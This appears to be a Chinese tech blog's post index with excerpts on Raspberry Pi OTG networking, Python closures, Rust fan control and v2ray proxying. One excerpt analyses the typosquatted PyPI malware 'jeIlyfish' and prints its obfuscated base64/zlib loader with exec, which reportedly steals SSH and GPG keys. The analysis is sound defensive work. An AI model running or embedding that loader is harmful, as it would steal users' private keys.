在上一篇折腾的时候其实只是提了一下,理论上直连之后还可以用 VNC,于是今天来实际实验一下 VNC 2333333
在完成上一篇的操作之后,已经可以直接在 iPad 上直连 Raspberry Pi 了,要加上 VNC 的话,需要如下步骤~
- 打开 VNC 功能
- 手动设定分辨率 (Optional)
- 设置 Raspberry Pi 默认启动到桌面
- 在 iPad 上使用 VNC 接连 Raspberry Pi
- 设置 Raspberry Pi 默认使用 Wi-Fi / Ethernet 连接网络
在上一篇折腾的时候其实只是提了一下,理论上直连之后还可以用 VNC,于是今天来实际实验一下 VNC 2333333
在完成上一篇的操作之后,已经可以直接在 iPad 上直连 Raspberry Pi 了,要加上 VNC 的话,需要如下步骤~
因为 Raspberry Pi 4 现在有了 Type-C 线,并且它的 Type-C 接口不仅仅是供电,还包括了 OTG 功能,此外还支持 Etherne。于是想法就是 Raspberry Pi 4 ⇆ Type C ⇆ iPad,一根线解决供电与数据的问题~ (⁎⁍̴̛ᴗ⁍̴̛⁎)
要打开 Raspberry Pi 的 OTG 功能倒是很简单,先是修改 /boot/config.txt
,在新的行里加上
# Enable USB OTG like ethernet dtoverlay=dwc2
然后是 /boot/cmdline.txt
,这个则是直接加在 rootwait
的后面,当然,rootwait
和我们增加的内容之间是有一个空格的~
modules-load=dwc2,g_ether g_ether.host_addr=25:25:2c:0c:0a:00
这两个文件编辑完之后大概如下~
接下来的话,则是需要手动设置一下 Raspberry Pi 上的 IP,如果你的电脑可以直接读写 Micro SD 卡上的 rootfs
分区的话,那么就可以直接编辑 /etc/dhcpcd.conf
这个文件;否则的话,就按老方法 SSH 到 Raspberry Pi 上编辑 /etc/dhcpcd.conf
这里我们需要配置的是 usb0
这个接口上的 IP。不过 iPad 似乎不能作为 Router,所以就让 Raspberry Pi 当 Router 好啦。在 /etc/dhcpcd.conf
这个文件里新增如下内容,给 usb0
接口设置一个静态 IP
interface usb0 static ip_address=10.42.0.1/24 static routers=10.42.0.1Continue reading iPad 与 Raspberry Pi 4 通过 Type-C 直连 —— SSH 篇
Just 2 notes about how closure in Python 3 captures variables.
The wrong way
def make_multipiler_the_wrong_way(): multipilers = [] # Tries to remember each i for i in range(5): # All remember same last i multipilers.append(lambda x: i * x) return multipilers if __name__ == "__main__": m = make_multipiler_the_wrong_way() for i in range(5): print(m[i](3))
The output is
12 12 12 12 12
So the right way should be
def make_multipiler_the_right_way(): def make_lambda(i): # when the closure is made # i is captured/bound in the scope of `make_lambda(i)` # so it won't change anymore return lambda x: i * x multipilers = [] for i in range(5): multipilers.append(make_lambda(i)) return multipilers if __name__ == "__main__": m = make_multipiler_the_right_way() for i in range(5): print(m[i](3))Continue reading Notes about How Closure in Python 3 Captures Variables
今天在 Netflix 上看了 Ex Machina 「机械姬」这部电影,又是一部与强人工智能「Artificial General Intelligence」相关联、讨论 Consciousness, Self-awarenesses, Mind, Embodiedment 的电影~
话说自从跟着玲做了某项目之后,貌似看到的电影几乎都是关于这些的(((o(*゚▽゚*)o))),仿佛打开了新世界的大门!
不过这篇 post 只是先记录一下在电影中看到的小彩蛋~
当男主 Caleb 决定救出 Ava 的时候,Caleb 拿了 Nathan 的门禁卡去修稿安保程序,然而开了电脑之后却开始拿 Python 3 输入 Sieve of Eratosthenes 算法!(不是,Celeb 你想去救 Ava 我懂,但是你偷了 Nathan 的卡打开了电脑,就是为了拿 Python 写个 Sieve of Eratosthenes 算法求质数吗╮( ̄▽ ̄"")╭)
不过蛮好奇有什么输出,于是我等着 Caleb 输入完之后,我照着敲了一遍~代码如下(^O^)
Continue reading Ex Machina 「机械姬」里的小彩蛋前两天有人发现了在 PyPI (Python Package Index) 上存在一个恶意库 —— jeIlyfish
。其通过将正常拼写的 jellyfish
的第一个小写 l
替换成大写的 I
来达成伪装的目的。如果你使用的字体难以区分小写 l
和大写的 I
的话,那么就有可能遇到这样的恶意库的风险。因此推荐在编码的时候使用等宽字体,如 Menlo
, Monaco
, Osaka-Mono
等。
这个恶意库被安装使用之后,会尝试偷取用户的 SSH 和 GPG Keys。那么简单分析一下它是怎么写的。
昨天在清华大学的 TUNA 镜像上还能下载到恶意的 jeIlyfish
库,现在同步之后估计可能没了。
解压之后,其目录结构如下
➜ jeIlyfish-0.7.1 tree . . ├── LICENSE ├── MANIFEST.in ├── PKG-INFO ├── README.rst ├── docs │ ├── Makefile │ ├── changelog.rst │ ├── comparison.rst │ ├── conf.py │ ├── index.rst │ ├── phonetic.rst │ └── stemming.rst ├── jeIlyfish │ ├── __init__.py │ ├── _jellyfish.py │ ├── porter.py │ └── test.py ├── jeIlyfish.egg-info │ ├── PKG-INFO │ ├── SOURCES.txt │ ├── dependency_links.txt │ └── top_level.txt ├── setup.cfg └── setup.py
于是重点关注 .py
结尾的文件,在其 jeIlyfish/_jellyfish.py
文件中,第 313 行到第 338 行,有这么一段代码
import zlib import base64 ZAUTHSS = '' ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz' ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa' ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2' ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH' ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+' ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf' ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b' ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP' ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg' ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF' ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR' ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp' ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk' ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz' ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk=' ZAUTHSS = base64.b64decode(ZAUTHSS) ZAUTHSS = zlib.decompress(ZAUTHSS) if ZAUTHSS: exec(ZAUTHSS)
显然是一段先被 zip 压缩,然后 based64 编码的数据。那么我们这里就把原作者在这段代码中最后的 exec
换成 print
,看看原始数据是什么
ZAUTHSS = base64.b64decode(ZAUTHSS) ZAUTHSS = zlib.decompress(ZAUTHSS) if ZAUTHSS: print(str(ZAUTHSS, encoding='utf-8'))Continue reading 有毒的 "jeIlyfish" —— Python 3 恶意库
於是接著上一篇 Rust 學習筆記,讓上次寫的 Breezin 用上 RESTful API 和 Access Token~之前的 HTTP API 的話就是特別樸素的那種,比如
http://10.0.1.2:2275/get?name=fan1 http://10.0.1.2:2275/set?name=fan1&value=2000 http://10.0.1.2:2275/set?name=fan1&value=auto
並且上面的都是 GET 請求,好處就是在瀏覽器裡手動輸入相應的 API 和引數就能呼叫;壞處就是非常不 RESTful,表示是否成功的狀態碼只在返回的 JSON 中,而 HTTP 的狀態碼都是 HTTP 200 OK
;其次,動詞 set
與 get
都在 URL 中出現,而不是像 RESTful API 規範的那樣,體現在 HTTP Method 上。
使用 RESTful API 的話,我們的請求就是如下樣子的了~
HTTP Method | API Endpoint | Description |
GET | http://10.0.1.2:2275/api/v1/fans | Get all fans status |
GET | http://10.0.1.2:2275/api/v1/fans/:id | Get fan status of given :id |
GET | http://10.0.1.2:2275/api/v1/temps | Get all smc temperature sensors' status |
PUT | http://10.0.1.2:2275/api/v1/fans/:id | Update specified property of fan with :id |
當然,更新風扇的屬性的話,實際上可寫入的就只有 3 個 —— min
, manual
和 output
。那麼要傳值的話,肯定就是放在 PUT
方法的 body 裡面了~
例如需要設定 fan1
的最低 RPM 為 2000 的話,那麼就使用 PUT
方法訪問的 API Endpoint 是 http://10.0.1.2:2275/api/v1/fans/1
,其 body 為
{ "property": "min", "value": 2000 }
同時,因為選擇哪一個風扇是在 URI 上確定的,因此也需要用一下正則表達式去匹配。這裡我們用到的正則表達式如下~
Continue reading 从零开始的 Rust 学习笔记(11) —— 让 Breezin 用上 RESTful API 和 Access Token就当是笔记啦 ╮( ̄▽ ̄"")╭ 感谢 Project V 及其所有 contributors
下面的脚本唯一 assumed 的是服务器那边 v2ray 开启了 mKCP,具体 assumed 的 mKCP 配置如下
"streamSettings": { "tlsSettings": { "allowInsecure": true }, "security": "none", "kcpSettings": { "header": { "type": "srtp" }, "mtu": 1350, "congestion": true, "tti": 20, "uplinkCapacity": 100, "writeBufferSize": 1, "readBufferSize": 1, "downlinkCapacity": 200 }, "network": "kcp" },
要使用的话,要么改一下自己服务器那边的配置,要么就改一下下面脚本中高亮的部分即可~(总之保持一致就可以( ´▽`)
Continue reading Ubuntu Linux 部署 v2ray 软路由做透明代理家裡有一臺半閒置的 12 年的 Mac Mini,之前偶爾跑點 Docker 的東西,順便還有把一臺超舊的印表機共享到局域網裡。不過想想應該拿它做點別的事,比如裝個 Linux 然後搭上 v2ray 做軟路由實現透明代理,然後再裝個 Docker 偶爾測試自己寫的 Linux 的東西~
不過這一篇 post 並不是寫如何用 v2ray 在 Linux 上搭軟路由,而是想起現在的軟路由用的是 Raspberry Pi 4。Raspberry Pi 4 在實際使用的時候還是不錯的,但是發熱量比較大,以及 softirq 看起來略有點爆炸 233333
因為打算用 Raspberry Pi 4 做點別的專案,那麼軟路由透明代理的 workload 就交給 Mac Mini 好啦,再寫個程式手動控制一下 Mac Mini 的風扇轉速~這樣就不會因為 workload 比較大,然後晚上風扇轉速太高影響睡眠? 白天的時候倒是基本無所謂。測試的時候發現 3000-3300 RPM 幾乎聽不到聲音,同時也比最低速 1800 RPM 高出一截,不太會因為過熱而出現問題~(╹ڡ╹)
那麼名字就叫 Breezin 好啦(一邊聽彩彩的 Breezin' 一邊寫~
當然,僅僅說完成功能的話,Shell Script 都完全足夠,但是既然是正好在玩 Rust 的話,那就用 Rust 寫來玩玩吧(*^3^)
在 Mac Mini 上安裝了 Ubuntu 18.04 LTS 之後,SMC 報告的風扇和溫度等資訊都被對映在了 /sys/devices/platform/applesmc.768
下
➜ ~ ls /sys/devices/platform/applesmc.768/fan* -r--r--r-- 1 root root 4096 12 3 14:52 /sys/devices/platform/applesmc.768/fan1_input -r--r--r-- 1 root root 4096 12 3 14:52 /sys/devices/platform/applesmc.768/fan1_label -rw-r--r-- 1 root root 4096 12 3 14:53 /sys/devices/platform/applesmc.768/fan1_manual -r--r--r-- 1 root root 4096 12 3 14:52 /sys/devices/platform/applesmc.768/fan1_max -rw-r--r-- 1 root root 4096 12 3 14:54 /sys/devices/platform/applesmc.768/fan1_min -rw-r--r-- 1 root root 4096 12 3 14:53 /sys/devices/platform/applesmc.768/fan1_output -r--r--r-- 1 root root 4096 12 3 14:52 /sys/devices/platform/applesmc.768/fan1_safe
這裡可以看到實際可寫入的只有 fan1_manual
, fan1_min
和 fan1_output
。
fan1_label
裡面儲存了風扇的名字。fan1_manual
實際上會被解釋成一個 Boolean 值,0
代表系統控制,1
代表手動設定。
fan1_min
是對應風扇的最低的 RPM,這個是我們可以控制的。相應的 fan1_max
則是最大轉速,但是不能限制風扇的最大轉速。
fan1_input
是表示當前風扇報告的 RPM,但是是一個只讀的量。fan1_output
表示需要對應風扇達到的 RPM,當 fan1_manual
的值為 1
時有效,否則寫入之後也會被系統覆蓋(即自動控制轉速)。
最後的 fan1_safe
看起來大概是該風扇的最低?安全轉速,然而雖然寫了可讀,實際測試的時候並不可讀(也許是 Ubuntu 下 SMC 驅動的問題?)。
➜ ~ cat /sys/devices/platform/applesmc.768/fan1_safe cat: /sys/devices/platform/applesmc.768/fan1_safe: Invalid argument
在知道了這些對應的對映之後,想法就是在使用者請求資訊的時候,去 glob /sys/devices/platform/applesmc.768/fan*
,然後做成 JSON 資料返回。在使用者設定的風扇轉速的時候,就寫入到對應的 output
裡面,並將 manual
設定為 1
於是設想就是做一個 HTTP API,假如 IP 是 10.0.1.2
,服務執行在 2275
埠的話,那麼要做的就是如下 2 個 API